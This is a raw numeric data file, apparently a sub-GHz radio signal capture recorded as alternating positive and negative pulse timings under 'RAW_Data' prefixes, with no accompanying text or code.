-64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 -RAW_Data: 209 -277 172 -76 121 -494 105 -546 61 -126 117 -58 235 -162 88 -64 61 -70 107 -52 81 -689 61 -93 133 -838 108 -114 91 -152 130 -160 79 -88 71 -270 61 -136 71 -124 79 -350 67 -945 156 -126 108 -74 77 -134 63 -54 71 -713 105 -292 65 -52 59 -66 73 -102 79 -563 210 -385 113 -226 75 -261 53 -265 73 -106 168 -508 53 -160 61 -150 51 -122 121 -356 71 -175 65 -277 77 -160 91 -774 78 -116 75 -702 78 -54 53 -72 103 -394 59 -371 61 -54 67 -60 141 -227 124 -89 189 -753 59 -114 57 -336 71 -178 59 -344 57 -194 78 -342 79 -464 63 -190 67 -204 97 -1302 59 -609 72 -88 53 -147 73 -160 166 -144 57 -191 117 -162 96 -104 53 -306 51 -527 61 -201 59 -118 59 -68 69 -160 63 -152 191 -641 78 -1096 87 -64 53 -205 57 -249 89 -226 61 -612 61 -102 97 -411 81 -465 51 -74 59 -261 69 -189 65 -186 79 -110 143 -184 85 -136 137 -62 78 -72 51 -66 193 -140 212 -378 75 -246 61 -416 51 -54 160 -155 178 -90 99 -394 97 -850 180 -140 116 -366 125 -305 1085 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 61 -64 127 -128 127 -56 69 -128 127 -128 127 -118 63 -62 133 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -128 63 -62 63 -62 63 -64 127 -128 63 -64 61 -62 63 -64 127 -128 127 -56 69 -64 61 -64 63 -128 127 -128 63 -62 125 -128 63 -64 61 -62 127 -66 61 -128 63 -64 125 -64 63 -62 63 -128 63 -62 63 -64 125 -64 63 -64 61 -64 -RAW_Data: 63 -128 63 -64 61 -64 61 -64 63 -64 63 -64 361 -110 57 -249 96 -245 143 -405 122 -142 67 -68 104 -515 83 -86 53 -488 89 -214 131 -138 63 -96 81 -370 61 -212 67 -445 59 -611 59 -705 59 -116 73 -200 218 -417 63 -489 122 -184 115 -361 71 -96 71 -233 81 -366 61 -62 119 -290 105 -544 51 -475 71 -187 51 -207 178 -683 89 -263 51 -98 59 -359 91 -128 59 -700 65 -447 51 -144 63 -89 78 -54 61 -92 84 -550 75 -192 75 -159 59 -1304 134 -877 59 -617 63 -724 81 -233 160 -187 91 -244 97 -206 87 -302 53 -265 75 -72 67 -706 79 -106 51 -184 53 -1213 67 -92 103 -342 106 -358 53 -54 53 -98 463 -572 71 -289 107 -154 71 -184 107 -370 61 -54 53 -152 71 -251 110 -125 79 -132 109 -116 51 -112 102 -66 53 -143 86 -80 86 -344 99 -358 156 -295 65 -326 53 -82 63 -479 79 -470 59 -114 59 -246 67 -60 100 -130 83 -231 71 -191 105 -60 106 -89 59 -544 57 -544 89 -280 51 -120 75 -520 57 -140 51 -175 53 -470 53 -74 67 -193 73 -375 59 -406 117 -179 98 -107 53 -279 61 -68 81 -162 87 -220 71 -243 71 -402 115 -208 53 -88 121 -812 73 -64 73 -440 89 -80 53 -162 91 -168 89 -866 76 -60 160 -130 59 -206 89 -354 70 -255 75 -164 115 -296 61 -504 75 -228 53 -201 79 -303 59 -117 114 -304 89 -125 78 -130 53 -264 113 -60 87 -218 292 -88 87 -316 101 -230 59 -183 61 -118 53 -170 71 -335 84 -96 105 -171 87 -293 51 -256 77 -138 115 -223 123 -114 149 -309 101 -183 87 -68 63 -102 124 -471 71 -104 63 -223 179 -374 75 -116 59 -243 186 -234 55 -208 61 -54 69 -112 61 -66 88 -60 271 -160 53 -368 76 -303 121 -287 91 -104 99 -309 121 -174 196 -114 77 -306 71 -62 209 -98 214 -72 51 -80 107 -131 83 -289 89 -76 51 -66 85 -82 87 -158 51 -115 114 -54 53 -144 53 -90 53 -172 51 -196 174 -113 210 -62 69 -98 59 -54 130 -89 61 -175 318 -496 112 -387 61 -185 93 -259 104 -324 67 -365 99 -393 95 -124 168 -559 73 -156 171 -278 67 -211 79 -76 59 -532 143 -706 51 -320 55 -126 59 -497 53 -378 73 -170 89 -425 81 -62 61 -153 53 -950 69 -154 79 -168 91 -697 51 -265 69 -64 71 -411 89 -68 63 -1128 90 -219 53 -72 55 -240 63 -160 306 -201 128 -134 117 -498 77 -411 51 -216 92 -82 165 -579 69 -280 51 -191 79 -964 -RAW_Data: 79 -197 91 -76 94 -277 186 -157 53 -166 53 -274 73 -699 87 -608 73 -665 279 -128 183 -106 55 -272 57 -1123 51 -402 87 -531 81 -756 65 -362 93 -282 51 -132 51 -72 51 -522 87 -68 261 -98 59 -82 67 -955 53 -52 89 -195 51 -130 89 -108 106 -130 53 -108 122 -177 79 -289 63 -98 124 -198 106 -163 69 -203 59 -164 102 -526 51 -448 83 -56 51 -209 71 -136 53 -54 88 -283 51 -1331 125 -189 51 -72 53 -454 53 -56 53 -72 65 -124 168 -350 55 -235 231 -338 116 -64 89 -175 101 -220 87 -130 170 -322 208 -146 168 -168 89 -100 177 -168 61 -76 187 -52 193 -84 125 -102 116 -92 157 -263 179 -110 95 -106 102 -336 129 -163 91 -88 280 -52 53 -144 51 -138 110 -60 109 -96 133 -123 85 -413 142 -122 69 -54 65 -133 57 -159 59 -145 127 -349 53 -104 132 -70 57 -62 59 -571 59 -70 99 -133 53 -60 59 -56 95 -125 247 -52 109 -89 151 -112 77 -179 77 -143 57 -176 53 -72 71 -162 140 -60 86 -238 51 -102 61 -52 61 -161 293 -316 212 -86 51 -121 51 -450 53 -419 53 -439 53 -213 63 -72 59 -295 71 -132 77 -210 57 -88 53 -100 77 -220 53 -210 51 -78 79 -52 201 -172 77 -52 111 -289 65 -124 88 -52 63 -432 61 -62 53 -658 130 -418 142 -591 90 -100 89 -68 159 -88 102 -60 53 -343 137 -296 147 -293 67 -362 71 -72 125 -191 132 -619 88 -222 67 -769 204 -82 77 -88 67 -443 75 -637 71 -174 89 -100 163 -168 71 -314 77 -162 63 -197 61 -161 71 -268 53 -281 71 -134 126 -96 53 -68 101 -142 61 -242 81 -499 150 -72 106 -749 107 -148 75 -326 201 -257 105 -747 71 -531 67 -258 77 -431 75 -162 101 -369 99 -102 95 -178 61 -173 59 -232 99 -112 53 -260 65 -264 61 -290 79 -78 133 -206 59 -749 81 -647 69 -52 101 -90 154 -78 59 -245 59 -70 112 -389 241 -362 226 -289 142 -132 105 -106 105 -124 184 -88 51 -446 147 -134 121 -697 51 -756 117 -54 157 -752 89 -180 61 -432 132 -64 53 -292 82 -100 65 -195 113 -62 68 -849 105 -395 71 -175 63 -126 114 -252 71 -64 79 -228 78 -242 51 -120 59 -154 117 -595 97 -237 71 -126 53 -452 81 -116 113 -142 75 -134 182 -117 86 -76 63 -82 122 -351 71 -856 74 -88 97 -944 78 -56 63 -170 99 -80 79 -488 53 -91 53 -307 559 -56 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 89 -70 196 -241 179 -82 107 -153 53 -129 79 -559 53 -767 61 -228 81 -128 89 -133 87 -545 53 -192 138 -491 71 -243 81 -118 53 -80 51 -108 80 -287 53 -186 71 -60 69 -303 129 -186 61 -392 164 -264 81 -84 220 -98 89 -156 59 -352 133 -88 51 -82 79 -168 94 -581 89 -1389 61 -204 146 -60 61 -108 106 -115 73 -1340 53 -79 57 -163 63 -1110 111 -210 81 -384 67 -402 144 -307 113 -343 88 -194 252 -96 61 -222 87 -247 163 -62 55 -165 67 -171 134 -590 69 -234 103 -204 51 -319 111 -52 59 -281 75 -112 84 -347 235 -670 75 -82 1323 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -120 63 -62 131 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -128 63 -64 61 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -64 63 -62 63 -62 63 -64 61 -64 63 -64 63 -128 63 -64 61 -64 63 -62 127 -130 63 -62 61 -64 61 -64 127 -128 127 -58 69 -62 61 -64 63 -128 127 -128 63 -62 125 -130 63 -62 61 -64 125 -66 61 -128 63 -64 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 127 -128 63 -64 311 -169 79 -62 57 -352 71 -287 71 -136 90 -293 51 -238 71 -262 53 -417 67 -94 196 -100 69 -104 185 -158 114 -192 53 -345 79 -62 77 -696 96 -324 67 -89 63 -495 116 -70 63 -141 107 -125 121 -457 71 -82 89 -226 128 -369 51 -772 98 -204 79 -219 53 -320 57 -142 61 -170 53 -269 120 -98 121 -64 53 -398 53 -196 53 -324 84 -119 57 -172 83 -1513 150 -591 76 -359 124 -266 89 -88 67 -378 85 -99 61 -54 -RAW_Data: 59 -84 61 -316 96 -99 100 -305 109 -200 55 -322 81 -439 59 -159 67 -124 51 -52 82 -52 59 -223 88 -82 194 -185 81 -635 87 -98 51 -430 59 -308 53 -136 79 -313 61 -112 113 -248 61 -82 141 -162 95 -168 104 -118 53 -188 84 -652 128 -295 75 -68 106 -72 73 -464 102 -383 53 -213 61 -152 63 -224 79 -361 129 -134 53 -162 77 -171 109 -200 81 -450 136 -80 53 -62 53 -62 152 -136 53 -317 123 -283 53 -152 120 -363 51 -104 157 -204 77 -362 53 -418 88 -233 89 -699 51 -180 106 -157 78 -202 79 -409 53 -180 94 -260 59 -312 61 -96 73 -78 59 -201 143 -347 75 -90 71 -437 57 -194 69 -519 88 -647 137 -474 89 -150 77 -331 57 -451 92 -54 67 -261 55 -130 53 -182 189 -126 103 -134 59 -149 89 -96 89 -148 114 -64 138 -172 122 -52 106 -239 130 -180 77 -52 143 -73 53 -54 111 -104 55 -219 89 -293 67 -332 148 -114 87 -124 75 -62 59 -118 125 -84 63 -72 79 -142 77 -125 53 -72 182 -241 61 -52 57 -210 119 -74 87 -261 147 -76 95 -110 59 -52 96 -566 83 -181 53 -170 79 -54 79 -139 53 -326 106 -209 99 -62 89 -239 94 -146 53 -92 85 -135 95 -494 138 -272 53 -175 63 -160 69 -80 63 -98 196 -172 175 -144 51 -52 55 -186 59 -199 171 -101 149 -62 133 -847 51 -470 61 -337 233 -153 149 -263 53 -153 61 -144 141 -210 61 -253 136 -262 57 -272 111 -226 61 -307 75 -527 59 -208 88 -100 79 -150 53 -377 61 -82 61 -334 65 -233 91 -341 59 -757 94 -220 77 -132 98 -588 83 -100 59 -295 75 -242 51 -76 51 -114 77 -515 67 -632 65 -286 51 -118 193 -126 51 -239 131 -431 59 -648 87 -141 148 -163 80 -149 53 -68 63 -431 67 -99 51 -396 110 -292 125 -285 117 -187 59 -445 71 -289 71 -64 101 -328 131 -236 71 -401 59 -760 63 -427 67 -98 55 -102 63 -264 87 -389 73 -106 53 -249 89 -581 51 -266 86 -300 53 -649 67 -429 85 -927 53 -175 67 -985 105 -238 59 -175 89 -150 65 -62 163 -251 57 -373 59 -774 75 -345 79 -242 104 -58 170 -485 71 -78 170 -166 61 -62 81 -90 53 -80 99 -365 67 -269 116 -270 179 -142 243 -372 114 -549 88 -823 81 -1122 128 -98 61 -505 148 -204 99 -345 97 -406 141 -488 53 -299 61 -199 78 -262 63 -268 59 -288 136 -534 59 -348 51 -232 71 -98 108 -1073 57 -261 53 -467 101 -307 67 -277 127 -110 415 -310 -RAW_Data: 143 -118 53 -116 59 -64 81 -80 118 -102 150 -82 67 -83 128 -174 138 -140 118 -160 121 -805 55 -62 89 -161 79 -52 85 -54 196 -77 85 -191 81 -242 51 -89 135 -152 51 -201 161 -158 71 -287 202 -56 67 -103 51 -144 164 -100 99 -277 77 -104 89 -124 71 -229 123 -309 63 -188 66 -170 69 -243 67 -287 155 -126 149 -307 269 -177 71 -82 125 -208 75 -178 71 -590 53 -88 189 -236 77 -128 611 -82 254 -456 83 -184 184 -159 73 -68 73 -120 95 -76 124 -158 110 -60 73 -2077 114 -150 86 -92 73 -239 95 -176 99 -140 67 -395 87 -295 111 -219 95 -324 73 -135 51 -554 69 -100 59 -202 87 -172 105 -1131 59 -76 53 -143 87 -132 92 -1368 57 -256 67 -58 99 -114 67 -364 51 -162 124 -152 97 -392 125 -72 63 -841 71 -207 96 -379 73 -178 73 -90 130 -142 103 -417 70 -181 105 -102 73 -92 73 -422 74 -252 53 -241 80 -319 51 -692 53 -90 79 -195 63 -92 57 -324 93 -188 158 -90 92 -187 51 -148 81 -303 63 -258 53 -100 69 -147 53 -302 92 -66 61 -118 53 -90 53 -98 69 -216 61 -360 115 -265 222 -323 77 -80 207 -194 51 -235 89 -247 51 -98 57 -623 183 -133 71 -474 90 -123 61 -62 127 -232 113 -191 51 -183 125 -106 119 -280 77 -476 115 -106 51 -210 112 -174 59 -369 201 -316 107 -449 53 -150 170 -700 67 -333 59 -141 51 -285 51 -76 73 -585 77 -66 51 -130 107 -90 93 -216 67 -508 53 -293 65 -177 105 -462 71 -337 69 -88 106 -357 86 -673 63 -90 53 -571 126 -144 53 -172 85 -212 51 -473 61 -108 113 -70 73 -553 51 -204 96 -326 61 -155 80 -72 68 -330 63 -90 59 -120 55 -54 63 -136 80 -98 67 -94 71 -499 106 -116 96 -64 61 -162 51 -417 129 -98 99 -115 91 -945 110 -132 99 -88 71 -548 117 -142 87 -64 61 -198 57 -646 63 -229 99 -337 67 -563 76 -92 55 -72 151 -232 81 -156 53 -584 71 -98 53 -375 98 -117 114 -52 67 -110 55 -394 63 -80 71 -269 67 -528 61 -68 127 -240 53 -290 77 -176 55 -460 69 -90 63 -90 95 -72 71 -187 130 -195 67 -892 96 -314 83 -184 53 -233 61 -102 87 -690 57 -384 79 -108 57 -190 51 -771 79 -72 67 -253 79 -77 160 -375 97 -410 57 -134 73 -84 63 -681 86 -160 75 -418 53 -98 212 -215 71 -1116 63 -627 59 -360 71 -70 71 -314 51 -218 51 -132 130 -164 124 -54 89 -324 79 -142 57 -208 -RAW_Data: 51 -396 67 -112 67 -254 51 -277 69 -190 147 -70 51 -392 104 -694 225 -318 51 -180 67 -1149 118 -107 67 -92 65 -310 57 -90 137 -354 61 -134 78 -597 51 -265 51 -130 55 -124 51 -699 73 -92 96 -347 71 -242 59 -492 76 -96 57 -298 79 -116 113 -282 61 -54 117 -135 69 -1246 61 -342 53 -198 97 -226 69 -485 106 -152 51 -286 63 -90 124 -92 53 -267 59 -104 86 -394 222 -817 61 -485 75 -384 121 -396 87 -118 105 -60 71 -532 53 -58 71 -182 55 -126 88 -342 53 -262 92 -143 53 -296 186 -154 71 -212 88 -377 91 -121 77 -344 57 -240 97 -160 59 -91 149 -322 125 -476 107 -629 53 -136 87 -495 63 -145 108 -266 51 -148 75 -214 83 -225 71 -179 96 -60 51 -329 61 -857 71 -178 92 -77 77 -110 124 -343 83 -435 113 -64 115 -80 104 -363 65 -404 109 -62 53 -253 55 -471 103 -179 104 -323 51 -380 103 -96 53 -52 118 -124 53 -139 104 -479 140 -81 61 -135 114 -82 71 -146 77 -428 83 -323 116 -301 119 -362 55 -383 63 -52 51 -52 89 -54 53 -298 100 -405 109 -625 63 -445 111 -114 89 -181 98 -86 151 -218 61 -204 63 -440 61 -98 71 -64 61 -718 77 -216 53 -82 93 -198 87 -702 87 -62 53 -469 61 -221 61 -278 53 -213 100 -1516 67 -96 51 -483 61 -150 53 -231 124 -770 61 -321 115 -190 91 -401 95 -160 61 -266 90 -68 69 -60 197 -388 87 -222 73 -646 121 -1477 51 -402 107 -332 63 -104 67 -201 67 -286 71 -189 51 -491 53 -248 61 -164 59 -80 61 -215 67 -299 51 -92 71 -274 59 -60 131 -172 53 -421 103 -216 93 -60 61 -295 97 -60 83 -470 281 -90 59 -1499 73 -224 61 -801 51 -142 82 -369 67 -816 134 -616 63 -370 59 -413 106 -162 71 -955 91 -112 83 -321 133 -347 53 -60 194 -191 59 -243 191 -217 77 -367 59 -152 80 -68 201 -494 53 -99 75 -138 107 -72 61 -142 55 -282 131 -431 113 -120 80 -224 67 -152 148 -74 78 -412 67 -64 51 -435 71 -90 95 -147 84 -54 79 -74 77 -972 51 -155 51 -478 110 -110 51 -357 59 -335 51 -194 53 -276 81 -440 53 -528 69 -154 79 -248 69 -256 53 -80 53 -232 105 -76 67 -102 61 -108 97 -240 51 -271 130 -364 83 -136 81 -84 134 -112 65 -86 119 -80 53 -194 137 -268 189 -763 53 -339 53 -258 93 -900 111 -259 83 -178 102 -167 87 -704 80 -693 170 -80 73 -196 97 -54 51 -349 172 -173 87 -461 -RAW_Data: 81 -204 75 -80 88 -174 106 -162 111 -688 77 -241 53 -600 53 -161 201 -284 53 -449 112 -171 53 -68 110 -98 86 -142 65 -93 314 -143 79 -232 79 -442 63 -402 70 -565 99 -218 96 -472 137 -375 61 -266 61 -337 77 -283 73 -433 77 -1246 96 -99 53 -64 86 -250 63 -134 81 -832 67 -291 283 -249 88 -627 61 -486 57 -310 51 -734 75 -142 53 -196 153 -174 61 -154 125 -64 59 -116 71 -307 53 -490 107 -162 113 -679 132 -272 53 -454 53 -267 57 -107 107 -72 85 -352 53 -154 59 -231 59 -210 53 -679 57 -82 51 -264 79 -258 78 -216 110 -64 109 -636 99 -392 53 -152 63 -329 112 -68 59 -897 105 -204 81 -140 57 -281 105 -301 111 -206 51 -64 57 -321 112 -294 96 -60 127 -323 81 -141 53 -140 59 -132 147 -207 221 -463 67 -314 113 -168 55 -141 146 -78 57 -138 53 -336 107 -187 51 -464 53 -134 53 -433 83 -69 51 -98 67 -448 101 -94 81 -232 94 -275 76 -90 93 -94 131 -110 53 -181 65 -328 99 -247 139 -98 97 -62 59 -263 63 -298 71 -170 73 -236 90 -217 51 -234 109 -391 73 -62 177 -54 87 -303 59 -160 83 -386 215 -100 97 -112 65 -92 156 -825 67 -299 89 -84 95 -232 53 -487 67 -315 132 -702 53 -72 53 -256 105 -852 161 -96 158 -100 69 -170 59 -511 53 -500 79 -113 71 -72 85 -124 69 -361 128 -354 51 -58 97 -100 114 -148 69 -151 51 -225 81 -98 53 -162 63 -148 57 -58 123 -519 71 -212 79 -597 164 -468 65 -160 53 -470 193 -317 97 -104 57 -479 79 -403 53 -802 113 -365 61 -108 57 -191 71 -435 65 -573 81 -354 88 -217 83 -530 79 -259 61 -72 105 -761 67 -322 124 -54 53 -652 83 -372 53 -114 69 -188 71 -72 65 -126 67 -271 89 -239 61 -187 115 -283 51 -108 55 -118 165 -308 53 -153 88 -360 83 -460 106 -171 88 -111 129 -121 59 -318 89 -266 53 -62 155 -60 53 -76 61 -194 59 -569 53 -54 59 -257 59 -60 61 -843 63 -174 73 -148 172 -366 53 -901 113 -330 61 -214 53 -291 65 -1012 51 -120 125 -571 75 -134 73 -54 65 -364 79 -649 96 -227 88 -261 221 -54 138 -200 97 -114 131 -62 96 -361 93 -384 125 -211 61 -100 81 -274 65 -436 149 -191 89 -76 118 -712 59 -346 63 -223 119 -567 89 -454 63 -62 85 -76 90 -312 63 -132 51 -124 143 -68 69 -112 88 -170 53 -130 126 -274 55 -1138 107 -98 65 -92 55 -217 53 -140 160 -148 -RAW_Data: 65 -374 53 -116 157 -254 51 -119 99 -189 79 -350 71 -142 53 -341 61 -203 93 -154 51 -484 99 -134 61 -68 53 -103 132 -588 87 -279 59 -203 51 -620 55 -224 53 -120 61 -152 79 -295 125 -206 63 -511 51 -188 114 -72 63 -235 171 -108 91 -186 57 -158 96 -337 53 -176 51 -146 101 -202 97 -335 106 -110 59 -321 107 -169 135 -772 51 -305 139 -144 96 -210 125 -72 69 -485 75 -624 72 -112 51 -58 79 -227 105 -219 67 -270 67 -128 65 -118 55 -82 104 -462 51 -776 91 -267 95 -322 63 -830 61 -154 93 -283 51 -112 63 -338 96 -225 57 -907 177 -52 138 -226 83 -367 53 -132 104 -168 65 -126 80 -98 71 -447 94 -54 51 -292 183 -168 114 -78 77 -365 67 -997 53 -311 88 -376 213 -520 121 -214 81 -191 75 -142 79 -159 69 -72 63 -347 53 -140 176 -88 59 -349 69 -56 51 -203 59 -108 53 -90 88 -204 79 -68 75 -203 59 -609 59 -124 77 -102 119 -1270 165 -106 95 -196 59 -353 136 -82 53 -181 65 -72 293 -188 137 -320 73 -60 139 -118 59 -254 53 -350 65 -246 117 -217 59 -213 59 -106 51 -216 67 -169 113 -265 53 -90 89 -398 71 -335 87 -504 89 -386 99 -104 83 -160 95 -152 57 -190 53 -317 143 -244 51 -60 63 -290 51 -286 110 -152 61 -272 134 -822 91 -782 150 -590 71 -416 81 -170 91 -76 57 -371 69 -123 83 -82 51 -115 125 -104 132 -126 108 -104 61 -72 71 -209 122 -294 82 -260 71 -260 53 -64 53 -172 75 -234 107 -131 61 -298 96 -112 53 -438 98 -251 79 -58 106 -214 51 -80 116 -98 59 -432 105 -256 63 -743 102 -220 119 -192 53 -155 117 -145 93 -228 61 -285 75 -179 59 -113 85 -103 51 -208 107 -1086 96 -184 71 -205 96 -200 53 -420 69 -395 57 -510 51 -84 63 -344 118 -166 83 -478 51 -114 51 -60 114 -95 172 -114 103 -591 71 -64 105 -313 99 -279 63 -214 78 -282 100 -80 59 -442 69 -117 106 -299 117 -106 51 -237 63 -56 69 -280 53 -144 71 -1165 143 -188 109 -108 68 -253 51 -54 51 -227 51 -1476 57 -294 63 -441 53 -355 51 -338 53 -439 71 -241 122 -246 87 -232 61 -310 59 -178 81 -360 133 -266 51 -351 133 -364 114 -1007 147 -391 95 -80 113 -703 53 -158 67 -317 121 -260 61 -108 55 -419 51 -598 72 -423 57 -156 123 -313 59 -149 75 -112 94 -112 85 -76 118 -198 73 -98 104 -333 115 -140 69 -587 59 -80 71 -197 87 -495 53 -204 -RAW_Data: 67 -94 61 -142 178 -205 126 -185 204 -194 206 -96 53 -625 79 -222 169 -89 59 -72 59 -116 112 -271 123 -633 160 -135 53 -608 78 -133 51 -169 114 -447 114 -76 81 -566 71 -124 75 -342 61 -485 113 -106 224 -266 117 -62 51 -189 85 -96 87 -591 128 -275 125 -196 53 -114 71 -132 561 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 287 -326 53 -173 69 -457 113 -220 94 -287 79 -358 71 -505 59 -102 53 -72 53 -174 109 -138 83 -88 61 -72 181 -123 71 -60 57 -58 55 -70 77 -54 51 -178 115 -113 53 -566 59 -223 57 -231 59 -116 95 -453 53 -329 119 -209 71 -210 53 -425 80 -329 101 -226 89 -89 98 -195 87 -238 107 -326 51 -215 112 -114 -RAW_Data: 73 -92 97 -72 51 -699 71 -562 53 -66 53 -392 63 -169 88 -194 53 -90 53 -534 107 -72 53 -153 53 -108 124 -190 51 -155 51 -830 112 -162 71 -84 129 -88 96 -112 73 -172 63 -354 239 -192 106 -128 59 -148 87 -464 65 -110 87 -84 116 -168 168 -146 89 -274 71 -319 77 -517 113 -291 97 -165 51 -142 59 -271 63 -106 176 -54 59 -75 164 -510 71 -393 53 -323 53 -253 98 -108 57 -444 167 -190 503 -765 73 -140 85 -190 134 -153 79 -244 69 -356 61 -198 89 -198 89 -168 202 -2025 53 -124 53 -146 96 -104 59 -384 98 -90 112 -94 142 -559 156 -54 75 -222 69 -634 67 -640 81 -496 51 -459 69 -144 123 -108 69 -490 63 -172 63 -391 177 -644 75 -237 67 -399 71 -64 71 -133 189 -333 79 -100 96 -118 59 -78 184 -90 1337 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -128 63 -62 127 -128 127 -128 63 -54 69 -62 127 -64 63 -128 127 -128 63 -54 133 -128 63 -64 61 -62 63 -64 63 -64 127 -64 61 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 127 -128 63 -62 313 -76 61 -1147 53 -60 106 -251 71 -60 71 -764 82 -52 114 -362 51 -98 51 -52 89 -90 57 -431 150 -224 57 -180 65 -792 81 -488 80 -276 71 -347 63 -76 55 -106 81 -96 59 -166 83 -106 81 -120 110 -181 151 -111 106 -398 59 -74 -RAW_Data: 69 -796 96 -136 59 -838 95 -58 53 -558 57 -584 97 -594 61 -240 79 -166 53 -62 55 -72 53 -102 114 -262 71 -114 53 -389 71 -658 164 -738 51 -111 97 -259 77 -503 107 -136 76 -417 53 -192 81 -175 63 -526 77 -136 51 -424 61 -190 61 -238 89 -176 78 -52 57 -258 100 -68 87 -600 59 -214 102 -135 59 -139 71 -185 127 -151 53 -126 63 -154 61 -124 55 -100 67 -303 97 -156 55 -382 170 -417 103 -246 67 -277 53 -339 59 -247 250 -148 63 -84 81 -383 69 -631 69 -401 59 -118 53 -122 95 -64 63 -89 53 -169 125 -690 89 -439 71 -1032 83 -1208 77 -223 97 -76 61 -157 63 -126 53 -242 102 -122 105 -118 59 -68 59 -374 67 -82 83 -80 71 -180 88 -242 113 -346 75 -521 253 -126 63 -104 85 -88 59 -250 61 -304 63 -80 114 -368 69 -96 78 -146 89 -216 61 -286 87 -481 79 -108 101 -68 77 -76 94 -152 167 -622 84 -140 51 -212 59 -192 51 -202 59 -172 125 -151 93 -459 71 -122 89 -195 89 -224 111 -439 71 -126 135 -52 67 -68 172 -160 106 -168 111 -152 155 -56 165 -113 53 -311 59 -212 65 -101 63 -74 160 -253 154 -120 82 -150 291 -195 75 -86 132 -346 81 -138 84 -105 143 -62 273 -60 224 -267 96 -52 51 -217 105 -84 197 -493 130 -96 53 -64 61 -277 95 -120 59 -247 59 